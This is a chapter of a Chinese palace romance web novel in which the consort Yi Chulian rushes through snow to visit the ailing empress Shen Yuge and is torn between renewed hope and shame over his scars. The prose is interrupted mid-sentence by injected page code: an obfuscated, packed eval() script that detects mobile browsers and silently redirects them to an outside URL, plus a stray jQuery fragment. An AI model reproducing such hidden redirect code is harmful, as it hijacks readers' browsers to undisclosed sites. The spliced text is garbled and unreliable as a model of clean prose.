14.是希望是绝望
作品:《被夺舍后,他疯魔了(女尊)》 衣储莲靠窗而坐,微卷的长发几乎垂地,平静而深邃的眸光渐渐映入清亮的晨光——天亮了。
安桃走进内室,正准备像之前一样伺候衣储莲梳洗,然后和他一起去慈宁宫。
但一进内室,就看到衣储莲坐在窗边,不像是刚刚睡醒的样子。
“公子,您怎么坐在这儿?”安桃上前问道,无意间摸到了衣储莲的手,冰凉的温度像是被生生冻了一夜的石头,寒气一点点渗透出来。
“公子,您不会在这里坐了一整夜吧?”安桃不敢相信地问。
“......我睡不着。”衣储莲低敛的长睫微微颤动,眸光依旧如望妻石般凝着窗户。
“那也不能这样干坐一夜啊,还是对着窗户,冬季风雪大,窗户关得再严实,也会有风钻进来的,您当心着凉。”安桃说。
“无妨。”衣储莲声音很轻,并不在意。
“怎能无妨,昨日陛下吹了冷风就着凉了。”安桃忧心忡忡地担忧衣储莲的身体。
“你说什么?”衣储莲猛然起身,声音微颤:“玉娘病了?”
“奴才也是听说。”安桃被吓得倒退了一步,小声解释道:“刚才奴才去外面取热水,正好听到宫人在议论,他们说,陛下是因为前天夜里在蓬莱殿外面站了一夜,所以才受了风寒。”
衣储莲下意识攥紧了拳,这一刻他连十指钻心的痛都感受不到,琥珀眸紧紧盯着安桃追问:“陛下病得严重吗?”
安桃摇头:“奴才也只是听宫人们闲聊两句,并未追问。”
说到这儿,安桃心里就有气。
那个孟鸿雪究竟有什么好?究竟对陛下施了什么狐媚妖法?能让陛下连皇帝的尊严脸面都不要,如此卑微讨好。
偏偏陛下都如此卑微了,孟鸿雪还端着高贵的架子,连个面都没有露一下,仿佛一定要陛下把脊梁要折弯,他才肯高抬贵手。
安桃越想越气,更多的还是替自家主子鸣不平。
他实在想不通,他家公子多好啊,温柔恭顺,怎么就被孟鸿雪那个贱人比下去了?!
就在安桃兀自生着闷气,嫉妒孟鸿雪命好时,突然听到衣储莲焦急低叱道:“陛下生病这样大的事情,你怎么现在才告诉我!”
“......公子?”安桃怔怔看着衣储莲,他长眉深拧,清淡的琥珀眸光里浮现出浓烈的焦急之色,这个人仿佛滚水一样煎熬着。
这样的担心,绝对不是装出来的。
愣了半晌,安桃才疑惑道:“公子,您不是说了已经对陛下彻底死心吗?为什么突然如此关心她?”
安桃还记得公子从冷宫出来之后,曾对他说过,再也不会对陛下抱有任何幻想,只求复仇、救回被冤枉流放的父母。
当时,公子伤痕累累,脸色苍白如纸,脸上的伤疤狰狞交错,整个人如同从地狱里爬回来的怨鬼一般,苍白而阴森,眼底充红着仇恨的血丝,赌咒发誓。
怎么现在一得知陛下生病,公子就如此关心?
难道公子又心软了?这可不成啊,他还嫌自己被陛下和孟鸿雪折磨得不够惨吗?
衣储莲没说话,只是径直往外走:“随我去御书房看望陛下。”
去御书房?!!!
安桃猛然瞪大了眼睛,连忙拽住衣储莲的衣袖,几乎跪在衣储莲面前:“公子,您不能去啊!”
“您知道孟鸿雪有多厌恶您,一直对您虎视眈眈,伺机发难。”
“要是让孟鸿雪知道您去御书房看望陛下,以他善妒的性子,一定会认为您是在勾引陛下,那他肯定会比从前更变本加厉地折磨您!”
安桃苦口婆心地劝着,但衣储莲却一丝动摇畏惧都没有,他直接挥开了安桃:“让开!”
他直接走进了清晨的细雪里,清冷的晨风刮过雪面,卷起如薄雾般的雪,在半空中缭绕着,渐渐将他清瘦的身形都隐藏遮掩,只有急促地几乎狂奔的踩雪声。
安桃无奈,只能拿了一把伞跟了上去。
*
御书房内,沈玉峨昨夜喝了安神去热的汤药,听着外面呼呼的大雪,睡得正香甜。
忽然迷迷糊糊地被廖果唤醒,还以为到了要上朝的时辰,眼睛都没睁开就坐了起来,张开双手,等着宫人伺候她更衣。
“陛下,还未到上朝的时辰,是衣侍郎听闻您感染风寒,特意赶来看您。”廖果轻声道。
“储莲?”沈玉峨朦胧的睡意瞬间清醒了,她又惊又喜,连忙道:“快让他进来。”
“是。”
沈玉峨刚披上一件外袍,就听到一阵急切的脚步声,紧接着她感受到一束清浅的白,若冰雪般向她奔来,落在她的脚边。
“玉娘!”衣储莲一进来,就跪在她的床榻旁,仰头凝望着她,眼眸中的担忧如琥珀浓浆。
“玉娘,您病得怎么样?严重吗?”
“太医怎么说?”
“喝过药了吗?”
“现在身上可还有难受的地方?”
衣储莲的语气焦急又慌乱,慌张的心情也从他的纤长的眼尾流了出来。
“没事儿,我一点事儿都没有,好着呢。快别跪在地上,凉。”沈玉峨伸手将他从地上拉了起来。
“真的没事吗?”衣储莲还是有些不放心,忧心地望着她。
他的长睫被来时的雪花打湿了,睫毛湿漓漓地压下来,像被雨浇淋透了的芦花,衬得他那双琥珀眸像被打湿了的流光。
沈玉峨看得有些出神,心中感叹,衣储莲哪怕毁了容貌,仅凭这一双琥珀眼也足够动人了。
但沈玉峨很快回过神来,解释道:“我真的没事,其实我的风寒也不严重,召了太医来,喝了一副药,立马就感觉好多了。倒是你......”
沈玉峨低眸,看着衣储莲的手,他苍白的手此刻呈现一种不自然的粉色,这是在寒冷的雪天里被冻久后,才会泛起的红色。
“你一路过来,冻坏了吧。”沈玉峨伸出手,将衣储莲的双手捧到自己的手心里。
衣储莲指尖微微痉挛颤动了一下。
沈玉峨的双手温暖干燥,将他的双手捧在手心里,好似一蓬热烈燃烧的火焰,滚烫的热意从他的指尖一路蔓延到心里。
“没、没有。”衣储莲喉结微微滚动,呼吸不自然地急促起来。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16410520|183294||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“没有?你的手现在凉得跟屋檐下的冰柱一样了,是不是冻得都没知觉了?”沈玉峨的语气轻柔,温暖的掌心却轻柔地揉搓起来。
衣储莲身子瞬间一僵,脊背如同紧绷到极致的弓弦,骨头缝都在不可抑制地轻颤着,耳垂红得几欲滴血。
“这样好些了吗?”沈玉峨掀眸看他,睫毛微微轻翘着,看起来灵动又温柔。
“好、好多了。”衣储莲低着头,根本不敢看她的眼睛。
“是吗?可是我觉得你身上还是凉津津的。”沈玉峨道,原本捧着他双手的指尖微微往上游走,滑到他修长冷白的腕骨,果然感受到一阵冰凉。
“我刚从外面进来,身上难免沾着寒气。”衣储莲的眼神慌乱四瞥,强忍着腕骨传来微微的酥麻感,像成百上千的小虫子在他的心上爬,却无法得到纾解,琥珀眸子渐渐有水光波动。
“那这样,你会好点吗?”沈玉峨忽然拿起被子,双手各握着被子的一角,紧紧地把衣储莲裹住。
“......”衣储莲惊讶到呼吸几乎停滞。
这是沈玉峨刚刚睡过的被子,还留着属于沈玉峨的体温,就这样猝不及防地将他包裹。
衣储莲感受着这股温热,如此熟悉,好像瞬间将他带回了五年前幸福的日子。
那时,沈玉峨也是这样。
她得了一件先帝赏赐的玄狐皮,并没有想着自己做一件衣裳,而是惦记着他怕冷,偷偷命人给他做了一件披风,躲在他的必经之路上,趁他没发现的时候,突然从背后连人带披风一起将他抱住,给他一个惊喜。
她那时还未及笄,行为稍显孩子气,可却真挚又明媚,叫他一生也无法忘怀。
后来,冷宫五年的日子,衣储莲都是靠着这些记忆撑过来的。
哪怕他当时根本不明白为什么‘玉娘’会突然变心,无论他怎么哀求‘玉娘’见一面,至少告诉他一个被厌弃的理由也好,但‘玉娘’始终未曾露面,而是任由孟鸿雪对他肆意凌辱。
他都还抱着一丝幻想,只要玉娘见见他,或许还会怜惜他。
直到他得知父母被流放,自己要被嫁给臣子,才彻底死心。
可现在,似曾相识的举动,仿佛把他烧成死灰的心,又重新燃烧了起来。在他的身体里暴涨烧灼,掀起一股近乎蛮暴地火焰,烧得他五内俱焚。
他开始相信沈玉峨之前‘附身’的话,他这五年来所受的折磨,并非是玉娘施加给他的。
他高兴可又感到一种莫大的绝望。
......玉娘还是他从前的玉娘,可他已经不是从前的他了。
他被折磨得面目全非,他的手、他的脸全都被毁了,只剩下一具丑陋残缺的躯壳,他该如何面对玉娘?
衣储莲鼻尖一酸,将自己深深地、深深地埋进了被子里。
如果可以,他真想把自己变成一枚茧,把骨肉血液全都碾碎、腐蚀、融化,直到重铸成从前完好无损的自己,再交给她。
可是没有如果......
衣储莲摸着自己脸上如蜈蚣般的疤痕,羞愧地低下头,自卑像遮天蔽日的苦水,模糊了他的视线。